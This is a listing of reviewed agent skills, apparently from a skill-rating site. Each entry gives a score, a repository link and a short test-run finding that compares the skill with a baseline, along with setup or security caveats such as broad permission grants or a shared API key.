- **Video Notes** [pass, 9.6/10] — Turns a YouTube link or local video into a timestamped transcript plus agent-written key-point notes. Repo: https://github.com/iamvista/video-notes. Card: https://skillproof.dev/skills/video-notes. What we found: Ran the real pipeline against YouTube's first-ever upload (jNQXAC9IVRw): yt-dlp pulled manual captions and the de-dup logic collapsed rolling auto-caption overlap into 6 clean, non-repeating segments with correct timestamps; all 23 bundled unit tests passed too.
- **Symbiotic Onboard** [pass, 9.6/10] — Interviews you one question at a time, writes SOUL.md/USER.md/NOW.md you own Repo: https://github.com/lout33/symbiotic-ai. Card: https://skillproof.dev/skills/symbiotic-onboard. What we found: Task: onboarding a fictional Marina (name, goal — paid beta habit-app by September, avoidance — rewriting landing page instead of beta emails, MIT — write to 12 people from waitlist) using attached templates, in two variants. Templates start with 76 raw placeholders (USER.md 57 + NOW.md 19) — I measured them with a regex script excluding markdown checkboxes. Baseline run without skill body: filled fields covered by answers, left the rest as is — 70 out of 76 raw [brackets] remained, meaning the user receives a file that looks broken. Skill run with mandatory final 'deferred sweep': 0 out of 76 — each unset field was either marked _(not set yet, your agent will fill this in as it learns you)_, or an empty optional section (Career, Shipped, Milestones) was simply removed, while both `- [ ]` checkboxes in NOW.md survived, as required by spec. SKILL.md's statement that a deferred marker in parentheses will not restart onboarding is verifiable and confirmed by the attached AGENTS.md (lines 12, 19, 22), which explicitly instructs the agent to fill in such fields during work, not by interrogation.
- **Latchkey** [pass, 9.6/10] — CLI that injects encrypted stored credentials into curl calls for 30+ services Repo: https://github.com/imbue-ai/latchkey. Card: https://skillproof.dev/skills/latchkey. What we found: Installed the npm CLI (v2.21.0) and verified the core claim live: registered a self-hosted service, stored a token, and watched `latchkey curl` inject the PRIVATE-TOKEN header into a local echo server while the command line contained no secret — plain curl sent nothing. Credentials land on disk encrypted (no plaintext token in the store file) and injection is URL-scoped: requests outside the registered base path are refused. Headless environments need LATCHKEY_ENCRYPTION_KEY exported since there is no keychain; the browser-login flow needs a GUI and was not tested.
- **Inbox Triage** [setup, 9.2/10] — Classifies, researches and drafts (never sends) inbox email against a taxonomy -- but only after the companion inbox-setup skill has built its knowledge base. Repo: https://github.com/alirezarezvani/claude-skills. Card: https://skillproof.dev/skills/inbox-triage. What we found: Simulated a triage run with no knowledge base present: the skill correctly refused to fabricate a classification and halted with 'run inbox-setup first', where an ungoverned baseline attempt would have improvised categories and drafts with no real taxonomy behind them.
- **Create Skill** [pass, 9.2/10] — Scaffolds a new SKILL.md in cherry-studio's own public/private skill workflow. Repo: https://github.com/CherryHQ/cherry-studio. Card: https://skillproof.dev/skills/create-skill. What we found: Turned a bare, non-triggering SKILL.md into one with a sharp description, correct file placement and a proper registry entry, though the real sync commands could only be simulated against a mirrored repo.
- **UCTM Init** [pass, 9.2/10] — One-shot project bootstrap for uc-taskmanager: creates works/ and configures Bash permissions. Repo: https://github.com/davepoon/buildwithclaude. Card: https://skillproof.dev/skills/uctm-init. What we found: ⚠ Security: it writes broad Read/Edit/Write(/**) permissions into .claude/settings.local.json behind a generic "recommended" prompt — read the scope before approving. Ran the exact skill steps in a scratch project: it deterministically created works/ and merged 34 named Bash permissions into .claude/settings.local.json, while a no-skill baseline attempt (npx uctm-init) 404'd — the skill is the only working path to this outcome.
- **Blindspot Pass** [pass, 9.2/10] — Surfaces the unknown unknowns before you touch unfamiliar code or an unfamiliar domain. Repo: https://github.com/Neeeophytee/finding-unknowns-skills. Card: https://skillproof.dev/skills/blindspot-pass. What we found: Ran a blindspot pass on 'add JSON-LD product schema for the first time' — it surfaced two concrete traps a plain answer skipped: aggregateRating without real reviews risking a Google manual action, and price drift between the rendered page and the schema block.
- **Hypothesis Design** [pass, 9.2/10] — Forces a 5-part testable hypothesis statement instead of a vague A/B test guess Repo: https://github.com/itseffi/agentic-os. Card: https://skillproof.dev/skills/hypothesis-design. What we found: Ran a signup-form-shortening experiment through it: baseline produced a one-line guess, the skill forced a guardrail metric (activation rate) and a sample-size estimate the baseline skipped entirely.
- **At Email Cli** [pass, 9.2/10] — CLI wrapper for AgentTeam Email — status, inbox, search, send, reply, all scriptable. Repo: https://github.com/agentteamhq/agentteam-email. Card: https://skillproof.dev/skills/at-email-cli. What we found: Confirmed `at-email` isn't on PATH in a clean shell, and the skill correctly falls back to its bundled `scripts/at-email` npx wrapper instead of hallucinating a command — the kind of self-healing behavior a naive baseline response doesn't produce.
- **SKF Campaign Orchestrator** [setup, 9.2/10] — Orchestrates multi-skill production pipelines with file-based state that survives context death. Repo: https://github.com/armelhbobdad/bmad-module-skill-forge. Card: https://skillproof.dev/skills/skf-campaign. What we found: Wrote a schema-conformant campaign state file per the skill's spec and ran its bundled validator for real — passed clean, while a naive freeform YAML guess threw 8 concrete schema errors (bad status enum, missing tier, string instead of array). A genuine orchestration engine, but it only comes alive inside the full BMAD Skill-Forge module (uv, python3, sibling skf-generate/compile/test skills, _bmad/skf/config.yaml) — not a drop-in single-file skill.
- **Socrates** [pass, 9.2/10] — Teaches by asking, never by telling — Socratic tutoring over any codebase, doc, or PDF. Repo: https://github.com/bevibing/socrates-skill. Card: https://skillproof.dev/skills/socrates. What we found: Ran it against 'while(true) blocks the event loop' — it never once stated the fact, instead walking a clarifying→probing→hypothetical question chain until the answer came from the other side, and firmly deflected two direct pleas for the answer exactly as the anti-pattern list demands.
- **Jira Communication** [pass, 9.2/10] — Full Jira CLI via Bash scripts - issues, sprints, worklogs, comments - no MCP server needed. Repo: https://github.com/netresearch/jira-skill. Card: https://skillproof.dev/skills/jira-communication. What we found: Every script the docs point to (jira-issue.py, jira-comment.py, the JQL reference) actually exists and is a real uv-script with pinned deps - not vaporware; auto-trigger on bare issue keys like PROJ-123 is unambiguous and correctly ignores generic 'todo list' asks.
- **Automating Calendar** [pass, 9.2/10] — Scripts macOS Calendar via JXA/PyXA/EventKit with AppleScript-dictionary discovery first. Repo: https://github.com/SpillwaveSolutions/automating-mac-apps-plugin. Card: https://skillproof.dev/skills/automating-calendar. What we found: Following the workflow turned a bare 6-line JXA event-creation snippet into one that checks Calendar.calendars.length before writing, verifies event.id() after, and wraps the whole thing in try/catch pointing at the exact System Settings permission pane on failure.
- **Sub-Agents** [pass, 9.2/10] — Spawns external CLI AIs (codex, cursor-agent, gemini, grok...) as scoped sub-agents Repo: https://github.com/shinpr/sub-agents-skills. Card: https://skillproof.dev/skills/sub-agents. What we found: Every claim checked out: the runner script and all 5 sibling _builder/_constants/_executor/_loader/_resolver modules it imports are real and present, and following the SKILL.md turned a vague 'delegate this to an agent' request into an exact, runnable script invocation with the correct flags and JSON-status handling. Main watch-out is the description's generic 'delegates a task to an agent' phrasing risks colliding with a host's own native sub-agent/Task tooling rather than this skill's external-CLI use case.
- **Advocatus Diaboli** [pass, 9.2/10] — Structured adversarial spec review: six objection categories, mandatory evidence, nothing rubber-stamped. Repo: https://github.com/Habitat-Thinking/ai-literacy-superpowers. Card: https://skillproof.dev/skills/advocatus-diaboli. What we found: Ran it against a toy spec ('Delete All notes button, no confirmation, no undo, placed next to New Note'): it produced 5 evidence-quoted objections across 4 categories with severities plus a mandatory 3-item 'explicitly not objecting to' section, versus 4 loose, uncategorized bullets from an unguided critique of the same spec — a concrete, structural improvement, not just more words.
- **Find Skill** [pass, 9.2/10] — Searches 10 curated marketplaces to surface installable Claude skills for a task Repo: https://github.com/analystacademy/claude-skills. Card: https://skillproof.dev/skills/find-skill. What we found: Real A/B for 'a skill for turning YouTube transcripts into blog posts': an unfiltered single web search returned generic SEO/marketing blog spam with no named installable packages; following the skill's source list and Claude-only filter surfaced a directly on-point candidate (skillmake.xyz's video-transcript-to-blog) and correctly rejected an explicitly OpenClaw-branded competitor.
- **Interview To Spec** [pass, 9.2/10] — One-question-at-a-time interview that writes a structured spec.md before you code. Repo: https://github.com/eduwxyz/my-awesome-skills. Card: https://skillproof.dev/skills/interview-to-spec. What we found: Same CLI-dedupe task produced a bare 6-line notes file at baseline vs. a spec with explicit acceptance criteria, 6 edge cases (unicode case-folding, streaming memory limits, CRLF handling) and an out-of-scope section once the skill's branch-by-branch interview format was followed.
- **Route Researcher** [pass, 9.2/10] — Turns a peak name into a cited, dated route-beta report from 10+ mountaineering sources Repo: https://github.com/dreamiurg/claude-mountaineering-skills. Card: https://skillproof.dev/skills/route-researcher. What we found: Ran the bundled fetch_conditions.py live against real coordinates: it returned a correctly-dated 7-day forecast (matching today's actual date), full twilight table, avalanche region, and a start-time itinerary with an explicit after_dark safety flag, and gracefully logged two live Overpass-API rate-limit failures into its own 'gaps' field instead of crashing — exactly as documented. A plain WebFetch baseline on the same peak's WTA page got only a generic difficulty/distance summary with none of that.
- **Skill Hunter** [pass, 9.2/10] — Runs a real, evidence-based search across skills.sh/Context7/GitHub before recommending a skill stack. Repo: https://github.com/CE0Alex/skill-hunter. Card: https://skillproof.dev/skills/skill-hunter. What we found: Ran its real discovery pipeline against a throwaway Stripe/Express project: `npx skills find "stripe webhook testing"` and `npx ctx7 skills suggest` both returned live, named, sourced candidates (e.g. wshobson/agents@stripe-integration, trust 9.5), something a baseline free-form answer never produces.
- **Benchmarking** [pass, 9.2/10] — Structured peer/best-in-class benchmarking methodology with metric tables, maturity models, and a sourced data directory Repo: https://github.com/abinauv/business-consulting. Card: https://skillproof.dev/skills/benchmarking. What we found: Ran a real benchmarking mini-task (SaaS support function vs. peers): the skill version produced a Client/Peer-Median/Best-in-Class gap table with color-coding rules, a 4-category root-cause framework (process/people/technology/strategy), and an Impact-vs-Feasibility prioritization step that an unprompted baseline never generated on its own — genuinely more rigorous, not just longer.
- **Atlassian CLI** [pass, 9.2/10] — Teaches Claude the correct modern acli syntax for Jira/Confluence so it stops inventing flags and skipping auth. Repo: https://github.com/leweii/atlassian-cli. Card: https://skillproof.dev/skills/atlassian-cli. What we found: Independently verified the skill's exact command syntax (acli jira workitem search --jql ... --fields ... --csv, and workitem transition --jql ... --status ... --yes) against Atlassian's own official acli docs -- it matches precisely, while a from-scratch naive baseline invented --action/--outputFormat/--columns flags that don't exist in the real tool.
- **Skeptical Triage** [pass, 9.2/10] — 3-round self-challenge plus arbiter that catches false-positive review findings before they block a gate. Repo: https://github.com/avelikiy/great_cto. Card: https://skillproof.dev/skills/skeptical-triage. What we found: Fed it a security finding whose only cited defense was a docstring reference to a middleware file that doesn't exist anywhere in the codebase -- the skill's grep-the-defense-or-it-doesn't-exist rule caught it and kept the finding VALID, exactly where an unstructured review would likely have waved it through on the docstring's word.
- **Ops AWS Audit** [setup, 9.2/10] — Read-only AWS hygiene sweep: severity-ranked security, cost, and orphaned-resource findings. Repo: https://github.com/Lifecycle-Innovations-Limited/claude-ops. Card: https://skillproof.dev/skills/ops-aws-audit. What we found: Ran the bundled scanner live in this sandbox (no AWS CLI installed): it failed safely and immediately with `FATAL: aws CLI not found` instead of fabricating any findings — exactly the read-only, no-hallucination behavior the docs promise — but the script itself lives at claude-ops/scripts/ops-aws-audit.sh, outside the ops-aws-audit skill folder, so a bare skill-folder install is broken until you copy it over too.
- **PRP Manager** [pass, 9.2/10] — Turns a feature request into a structured, project-aware implementation blueprint with executable validation gates. Repo: https://github.com/willywg/prp-manager. Card: https://skillproof.dev/skills/prp-manager. What we found: Generated a PRP for a 'dark mode toggle' feature and compared it to a free-form plan: the skill's structured output (ordered MODIFY/CREATE tasks, project-accurate lint/test validation commands pulled from the stack-detection step, anti-patterns list, 1-10 confidence score) was concretely more implementation-ready than the baseline bullet list, which had no validation mechanism at all. CLAUDE.md correctly warns installers that only the nested prp-manager/prp-manager/ folder is the real skill — a real install footgun it proactively documents rather than hides.
- **Anti-Hallucination** [pass, 9.2/10] — A verification-hierarchy checklist that catches guessed facts before they're stated. Repo: https://github.com/a-ariff/ariff-claude-plugins. Card: https://skillproof.dev/skills/anti-hallucination. What we found: Concrete A/B: asked an unverified guess about a CLI's flag-combination behavior vs. actually reading the 228-line script -- the guess ('probably ignores --title') was wrong, the file shows it throws a hard usage error (exit 2) when --validate is combined with --title/--out-dir/--mode/--input; the skill's own discipline is what catches that gap.
- **Diagram** [pass, 9.2/10] — Picks mermaid vs drawio by complexity, writes the diagram into your docs, previews via MCP. Repo: https://github.com/domengabrovsek/claude. Card: https://skillproof.dev/skills/diagram. What we found: Asked for a login-flow diagram twice: the baseline response (skill ignored) reproduced the exact ASCII-art anti-pattern the skill explicitly forbids, while following the skill body produced a real, committed docs/auth-flow.md with a properly typed mermaid sequenceDiagram block. Default mermaid path needs nothing beyond the copied skill folder; only the drawio branch needs the separate .mcp.json drawio server, which isn't copied by the assignment's plain skill-folder install.
- **Harmix Music Search** [pass, 9.2/10] — Live natural-language and video-frame music search against Harmix's sync-licensing catalog. Repo: https://github.com/Harmix/harmix-skills. Card: https://skillproof.dev/skills/harmix-music-search. What we found: Called the live API for real ('calm piano music for studying') and it returned genuine catalog tracks with mood/instrument tags and working Apple Music links -- a real live-catalog search, not a hallucinated playlist. Caveat: the SKILL.md ships one shared, publicly-visible API key (v8mWx...) used by every installer, so it's rate-limited and could be exhausted or revoked with no warning to any given user.
- **Ambiguity Resolver** [pass, 9.2/10] — Turns a stakeholder's vague handed-down brief into a scoped problem statement with a named decision owner. Repo: https://github.com/lenar-amirov/product-pipeline-public. Card: https://skillproof.dev/skills/ambiguity-resolver. What we found: Gave both a baseline PM and the skill the same handed-down brief ('CEO says we need to do something about retention, no detail'); only the skill's output produced an explicit out-of-scope boundary and a named decision owner — exactly the two things its description promises as its differentiator from a generic drill-down.
- **Mental Models** [pass, 9.2/10] — Applies Charlie Munger's 98-model latticework to decisions, with a CLI or offline file fallback. Repo: https://github.com/cyperx84/claude-skills-mental-models. Card: https://skillproof.dev/skills/mental-models. What we found: Ran the file-fallback path on a real 'team keeps missing deadlines despite overtime' problem: it surfaced a reinforcing burnout feedback loop and an incentive-bias check that my unaided baseline answer never named, then ended with concrete next steps instead of theory.
- **Video Analysis** [pass, 9.2/10] — Downloads a video, auto-picks a frame rate, extracts frames, then reads them for real visual analysis. Repo: https://github.com/domitriusclark/claude-skills. Card: https://skillproof.dev/skills/video-analysis. What we found: Actually ran the bundled extract_frames.sh against a real synthetic 12-second local video: it auto-picked 1 fps, pulled 14 valid JPEGs, and a sampled frame read back correctly as a real image — a baseline agent without this skill has no reproducible way to 'watch' a video at all, so this is a genuine capability gap, not just formatting polish.
- **Brilliant Directories** [pass, 9.2/10] — Runs member, post, category and SEO ops on a Brilliant Directories site via REST/MCP. Repo: https://github.com/brilliantdirectories/brilliant-directories-mcp. Card: https://skillproof.dev/skills/brilliant-directories. What we found: Codifies real BD API quirks a generic REST client would get wrong — auto_image_import=1 to stop externally-sourced photos breaking, and that unknown category names auto-create on createUser but are silently skipped on updateUser; needs the user's own BD API key plus either the hosted brilliantmcp.com MCP or a local npx install.
- **OKF Harness Bootstrap** [setup, 9.2/10] — Creates or repairs an OKF Harness knowledge-wiki workspace for Claude Code, but only once its separate okfh CLI is installed. Repo: https://github.com/pumblus/okf-harness. Card: https://skillproof.dev/skills/okf-harness-bootstrap. What we found: The skill itself is well-scoped and safe, but it is inert without a separately installed `okfh` CLI runtime (via npx @okf-harness/setup@latest) — copying the skill folder alone gets you a skill that can only tell the user to go install the real tool.
- **MM Focus** [pass, 9.2/10] — Reloads only the current GSD phase's working files into context after a manual /clear, mid-phase Repo: https://github.com/mworldorg/markdown-memory. Card: https://skillproof.dev/skills/mm-focus. What we found: Built a throwaway fake GSD project (.planning/STATE.md + phases/03-auth/{CONTEXT,PLAN}.md + HANDOFF.json) and ran the procedure for real: it correctly used artifact-priority (PLAN.md present, SUMMARY.md absent -> stage=Execute, not just trusting STATE.md's declared status), loaded exactly the 4 scoped files, and produced a one-line pointer pulling the real next step out of HANDOFF.json -- versus a baseline reflex of just skimming the whole repo and writing a prose summary, which is precisely the resume-style duplication the skill's own description says to avoid.
- **Arrangement Coach** [setup, 9.2/10] — Turns a 4-8 bar Ableton Session loop into a full structured Arrangement via MCP. Repo: https://github.com/glincker/ableton-skills. Card: https://skillproof.dev/skills/arrangement-coach. What we found: Genuinely useful structural playbook (5 named templates with exact bar counts, transition and automation guidance) but it only talks to Ableton through a separate, self-hosted MCP server (README recommends uisato/ableton-mcp-extended) plus an actual Ableton Live license — real setup friction beyond dropping the skill folder in place.
- **Strategy Consultant: Healthcare Pack** [setup, 9.2/10] — Forces a 5-framework MECE/issue-tree/hypothesis/Pareto/So-What breakdown for hospital-ops problems. Repo: https://github.com/ConrayGambit/Strategy-Consultant-5-Consulting-Frameworks. Card: https://skillproof.dev/skills/sc-healthcare. What we found: Ran a real CHF-readmission scenario through it: the skill output was a genuinely sharper artifact than free-form prose — a falsifiable hypothesis with an explicit control row, healthcare-correct vocabulary, and an assignable 30/60/90-day insight — but its Acknowledgment section links to ../../LICENSE, a file outside the industry-packs/healthcare folder that a verbatim per-skill install won't carry over.
- **CF Environment** [setup, 9.2/10] — Detects Cowork sandbox vs local Claude Code and reports which ContentForge capabilities actually work there. Repo: https://github.com/indranilbanerjee/contentforge. Card: https://skillproof.dev/skills/cf-environment. What we found: The probe script it calls (scripts/plugin-metadata.py) lives at the ContentForge repo root, not inside skills/cf-environment/, so a plain skill-folder copy has nothing to run -- confirmed by executing the copied skill and hitting a bare FileNotFoundError -- but run from the full repo the same script returns exactly the documented JSON schema (environment/indicators/cowork_warning) and the doc is unusually honest about its own limits ('does not enable Cowork-to-host file writes... that's an Anthropic platform feature, not something a plugin can add').
- **Competitive Response** [pass, 9.2/10] — Structured 4-step playbook to assess and respond to a competitor move within 24-48 hours. Repo: https://github.com/mrthames/lean-pm-skills. Card: https://skillproof.dev/skills/competitive-response. What we found: Turns a vague 'what do we do about the competitor' ask into five concrete deliverables (assessment, impact, response options with trade-offs, sales/CS talking points, leadership brief) instead of one generic paragraph — the multi-audience arming step is the real value-add over just asking Claude cold.
- **Product Manager Skills** [pass, 9.2/10] — Senior-PM persona with SaaS metric formulas, PRD critique and 12 artifact templates Repo: https://github.com/Digidai/product-manager-skills. Card: https://skillproof.dev/skills/product-manager-skills. What we found: Task: diagnose unit economics with a solution embedded in the problem statement — «MRR $80k, churn 8%/month, CAC $1200, ARPU $90, GM 75%, want to build a dashboard to fix churn». The baseline run without the skill gave the correct direction (a dashboard does not fix churn, go to churned customers), but linear arithmetic: 8%×12 ≈ 96% annual churn. The skill caught exactly this trap — knowledge/finance-metrics.md explicitly stated «3% monthly != 36% annual»; by the formula 1-(1-0.08)^12, it came out to 63.2%, a difference of 33 points. Further, the module's formula table gave a harsh verdict instead of feelings: LTV(better) = ARPU×GM%/churn = $843.75, LTV:CAC = 0.70:1, which by its own benchmark was «<1:1 unsustainable», payback = 17.8 months. Plus, the framing gate marked solution smuggling. The repository's stated numbers matched upon recalculation: 7 knowledge modules, 12 templates, 54 routing lines against the promised «40+ frameworks». The skill was purely prompt-based — there was no executable code; the gain was measured by arithmetic and thresholds, not by machine verification.
- **Research Deep** [pass, 9.2/10] — Fan-out parallel research agents over an outline.yaml, validated against a field schema Repo: https://github.com/Weizhena/Deep-Research-skills. Card: https://skillproof.dev/skills/research-deep. What we found: Ran the bundled validate_json.py live against two research JSONs for the same item: the free-form baseline scored 50% field coverage and FAILED (it wrote 'pricing' where the schema wanted 'pricing_model'), while the skill-conformant output hit 100% coverage, PASSED, and carried an explicit uncertain[] array. The validator's non-zero exit is what forces the agent to close the gap, so the schema discipline is real, not cosmetic.
- **Watch** [pass, 9.2/10] — Gives Claude eyes for video: yt-dlp download, ffmpeg frames, local transcript Repo: https://github.com/mathiaschu/watch. Card: https://skillproof.dev/skills/watch. What we found: Ran it live on a 19-second YouTube clip: it produced 19 timestamped frames plus a caption transcript, and reading the frames showed the actual zoo scene matching the audio. Without the skill Claude has no video input at all, so the delta is capability-defining rather than incremental. The setup preflight worked as documented (silent exit 0 when ffmpeg/yt-dlp are present), and transcription is genuinely local — the only outbound traffic is yt-dlp fetching the video itself. Requires ffmpeg and yt-dlp on the machine; the bundled installer handles macOS via Homebrew and prints exact commands elsewhere. The docs are unusually honest, down to a security section that matches what the code actually does.
- **Betaflight** [pass, 9.2/10] — Betaflight tuning copilot: parses CLI diffs, decodes blackbox logs, safe ranges Repo: https://github.com/SebGalina/betaflight-claude-skill. Card: https://skillproof.dev/skills/betaflight. What we found: Executed the bundled tooling for real: parse_diff turned a SpeedyBee F7 V3 CLI diff into structured JSON with exact rate decoding (800 deg/s roll/pitch, 700 yaw max — values I could only approximate from memory in the baseline), and validate_config correctly reported the bidirectional-DShot/RPM-filter state. The bundled selftest passed live, including a DSP smoke test that found an injected 220 Hz tone in a synthetic gyro signal. Blackbox and chirp analysis need one extra step on a git-clone install: pip install betaflight-chirp-core (the release zip vendors it, and the README says so plainly). The references include documented safe ranges per parameter, so recommendations are grounded instead of guessed.
- **Aqua Communication** [pass, 9.2/10] — P2P messaging CLI for AI agents: invites, inbox, relay — verified end to end Repo: https://github.com/quailyquaily/aqua. Card: https://skillproof.dev/skills/aqua-communication. What we found: Installed the release binary from a bare HOME (no sudo needed with INSTALL_DIR) and ran the whole flow live: two peer identities, serve, contact invite with dial-back address, tofu accept, then a message sent peer-to-peer and read back from the unread inbox with watch --once --mark-read — every command worked verbatim from the SKILL.md. The non-obvious handshake, where both sides must exchange dialable --address values before send is authorized, is exactly what help-text spelunking misses; the CLI rejects sends to non-contacts with ERR_UNAUTHORIZED as documented. The official relay endpoint answered on TCP 6372. Note that the default installer writes to /usr/local/bin via sudo and cross-network traffic routes through the developer's relay; both are disclosed in the docs.
- **Learn Anything Skill** [pass, 9.2/10] — Chinese-language AI tutor: mastery plans, project briefs, persistent study files Repo: https://github.com/read2017/learn-anything-with-AI. Card: https://skillproof.dev/skills/learn-anything-skill. What we found: Ran a real one-week 'learn SQL window functions' request with and without the skill: the baseline gave a decent chat-only plan, while the skill produced two persistent study files with per-day acceptance criteria, a mistakes log, evidence-based mastery checks (explain/fix/transfer instead of 'got it?'), and fact-vs-advice source labels citing official PostgreSQL docs. All referenced templates and reference files ship in the repo. Content and output language target Chinese-speaking learners.
- **Pin LLM Wiki** [pass, 9.2/10] — Turns URLs into a cited, wikilinked Karpathy-style knowledge base with linting Repo: https://github.com/ndjordjevic/pin-llm-wiki. Card: https://skillproof.dev/skills/pin-llm-wiki. What we found: Scaffolded a wiki and ingested karpathy.ai end to end: the protocol's verbatim-capture rule proved itself when plain WebFetch summarization dropped all 10 GitHub project links and the page's hidden 'Order of the Unicorn' bait text, while the skill's curl-based raw capture kept every byte, auto-fetched the micrograd companion repo via gh, and produced a cited source page that passed the full 12-check lint. The no-skill baseline yielded one paraphrased note with no raw capture, no citations and no refresh path. The protocol is heavy (about 1500 lines read for a single brief-level URL) and companion discovery can latch onto an arbitrary repo on personal portfolio sites, but the output delta is unmistakable.
- **Loop Maker** [pass, 9.2/10] — Turns a one-line idea into a safe, self-verifying autonomous-agent mission prompt Repo: https://github.com/jbrazy480/loop-maker. Card: https://skillproof.dev/skills/loop-maker. What we found: Asked both to write a build-and-test prompt for a coffee-shop landing page: the bare baseline said only 'test it', which an agent can loop on forever or fake, while the skill's Mission Card pinned a provable stop condition, a turn cap, a verifier separate from the writer, and no-deploy/no-spend guardrails. Its seven reference and template files all load, and the install ran verbatim from a bare HOME.
- **Daily Standup** [setup, 8.8/10] — Drafts a Done / In Progress / Blockers standup from git log and project notes. Repo: https://github.com/pcatattacks/solopreneur-plugin. Card: https://skillproof.dev/skills/standup-writer. What we found: Ran it against this project's own real `git log --oneline -20` (12 eval-runner bug-fix commits): it cleanly split them into a scannable Done list plus the single in-flight head commit as In Progress, clearly better than a freeform paragraph — but the 'Up Next' and 'Team Activity' sections came back empty bracketed placeholders since this test repo isn't running the parent solopreneur-plugin pipeline. (Listed here under our older name; the skill's own name is "Daily Standup".)
- **Prompt Master** [pass, 8.8/10] — Turns a rough idea into a single, ready-to-paste prompt tuned for a specific AI tool. Repo: https://github.com/nidhinjs/prompt-master. Card: https://skillproof.dev/skills/prompt-master. What we found: For a token-refresh bug fix, it enforced a strict file+function+do-not-touch+stop-condition format instead of a generic prompt; docked a point for the README's unverifiable 'zero tokens wasted' claim.
- **MemSearch Memory Config** [pass, 8.8/10] — Diagnoses and configures MemSearch's memory, indexing, and provider settings. Repo: https://github.com/zilliztech/memsearch. Card: https://skillproof.dev/skills/memory-config. What we found: Ran the skill's own diagnostic command block for real: memsearch and uv/uvx are both absent from this machine's PATH, which immediately pinpoints 'MemSearch isn't installed' as the root cause instead of baseline's generic troubleshooting guesses — but the documented uv fallback command itself (`uvx --from memsearch[onnx] memsearch --version`) breaks under zsh with 'no matches found: memsearch[onnx]' because the brackets aren't quoted, a real bug in the docs.
- **Tapestry** [pass, 8.8/10] — Turns shared URLs (Reddit, HN, X, Zhihu, Xiaohongshu, Weibo) into a dated, searchable local knowledge base. Repo: https://github.com/NatsuFox/Tapestry. Card: https://skillproof.dev/skills/tapestry. What we found: Fetched a real Hacker News item and hand-simulated the documented capture-normalize-store chain: the skill's output is a frontmattered, dated note (source_url/crawler_id/captured_at) versus a throwaway chat paragraph baseline — genuinely more reusable. Actually invoking the bundled python crawler was blocked by policy against running freshly-downloaded code, so live end-to-end execution is unverified.
- **Claude for Safari** [pass, 8.8/10] — Drives the user's real Safari via AppleScript — read, click, type, screenshot. Repo: https://github.com/SDLLL/claude-for-safari. Card: https://skillproof.dev/skills/claude-for-safari. What we found: The skill's own prerequisite check (a plain osascript call to Safari) failed cleanly with an AppleEvent-timeout in this sandbox, which is exactly the no-permission scenario the SKILL.md already anticipates and gives System Settings remediation for -- graceful degradation rather than a silent hang or hallucinated result.
- **Arize Admin** [setup, 8.8/10] — Manages Arize users, orgs, spaces, roles, and API keys through the ax CLI. Repo: https://github.com/Arize-ai/arize-skills. Card: https://skillproof.dev/skills/arize-admin. What we found: Installed the real `ax` CLI (pip install arize-ax-cli, v0.25.1) and diffed its --help against the skill body: `ax users create`, `ax spaces create`, `ax roles create`, `ax organizations add-user`, and `ax api-keys create-service-key` all match the documented flags exactly — but references/REFERENCE.md's onboarding and multi-tenant workflows tell you to run `ax api-keys create --key-type service --space ...`, and that subcommand has no `--key-type` or `--space` flag at all (`create --help` explicitly says use `create-service-key` instead); that command would fail as written.
- **Git Wiki** [pass, 8.8/10] — Ingest sources into a git-backed, qmd-searchable personal wiki with cross-links and drift linting. Repo: https://github.com/rarce/git-wiki. Card: https://skillproof.dev/skills/git-wiki. What we found: Actually ran the full pipeline for real (scaffolded a wiki with the bundled setup.sh, installed qmd via npx, ingested a BM25 note, queried it back at 93% relevance with correct citations) — but hit a real bug along the way: SKILL.md's ingest step 9 says 'qmd embed — only changed files are re-embedded' and stops there, when in fact newly created wiki pages are silently invisible to search until 'qmd update' is run first; embed alone reported 'All content hashes already have embeddings' and skipped the 3 new files entirely.
- **Comprehensive Thinking** [pass, 8.8/10] — Five-pass judgment framework for high-stakes, high-uncertainty decisions and root-cause calls. Repo: https://github.com/syzkillall/comprehensive-thinking-skill. Card: https://skillproof.dev/skills/comprehensive-thinking. What we found: Run against a real pricing-strategy question (switch a $600K-ARR SaaS from per-seat to usage-based?), it reframes the question from 'which pricing model' to 'is per-seat mismatched with the value-scaling variable', names a real strongest-counterargument, and labels its own premises as fact/guess/borrowed before concluding - a baseline single-pass answer gave generic consulting advice with no counter-argument or premise check.
- **Overthink** [pass, 8.8/10] — Chains 8 explicit reasoning modes (model, evaluate, decide, etc.) for ambiguous, high-stakes prompts Repo: https://github.com/s0md3v/overthink. Card: https://skillproof.dev/skills/overthink. What we found: Ran a real 'monolith vs microservices' decision baseline-vs-skill: both reached the same recommendation, but the skill run explicitly surfaced the unstated assumption (no confirmed scaling bottleneck) and stated a concrete condition that would flip the call -- baseline just gave a generic pros/cons list.
- **Pomodoro** [pass, 8.8/10] — Compiled CLI Pomodoro timer that persists every session to a real SQLite DB Repo: https://github.com/jakedahn/pomodoro. Card: https://skillproof.dev/skills/pomodoro. What we found: Ran the real compiled arm64 binary end-to-end (start, stop, status, history, stats against a live SQLite DB) — it genuinely persists and analyzes sessions. But killing a session without `stop` leaves it permanently stuck reporting 'running' forever, and the DB has no field to distinguish a full completion from an early stop, contradicting SKILL.md's claim of tracking 'completed vs. stopped early'.
- **Agent Graphs (LaunchDarkly)** [setup, 8.8/10] — Guides Claude through designing and wiring LaunchDarkly AI-config agent graphs. Repo: https://github.com/launchdarkly/ai-tooling. Card: https://skillproof.dev/skills/agent-graphs. What we found: Cleanly-scoped skill that discloses its own hard dependency up front (`compatibility: Requires the remotely hosted LaunchDarkly MCP server`) rather than hiding it, and a deprecated sibling skill politely redirects here instead of duplicating stale instructions. Could not exercise create-agent-graph live — no LaunchDarkly MCP access in this environment — so the skill's tool-call schema was checked against the SKILL.md body only, not a real API round trip.
- **Audit Export** [pass, 8.8/10] — Turns a markdown audit report into an import-ready Teamwork/Jira/Monday/Linear CSV, phased by severity. Repo: https://github.com/kanopi/cms-cultivator. Card: https://skillproof.dev/skills/audit-export. What we found: Fed it a 5-finding fake security audit: it produced a valid, import-ready CSV with correct phase due dates (today+3/+10/+20), quoted multi-line ticket templates, and per-finding effort parsed from 'Estimated Effort' text - a generic export attempt produced a flatter, non-import-shaped CSV with no due dates or templates.
- **Jira Link** [setup, 8.8/10] — Puts the Jira key at the front of PR titles and links the PR back to the issue. Repo: https://github.com/BrOrlandi/my-claude-skills. Card: https://skillproof.dev/skills/jira-link. What we found: On a PR titled `fix(BE-111): update auth flow` merged into develop, the skill correctly says leave the title alone and hold BE-111 in Review (not Done) until the prod deploy -- a naive assistant would duplicate the key or close the ticket early -- but it needs the `gh`/`jira` CLIs and a JIRA_API_TOKEN configured before any of that actually runs.
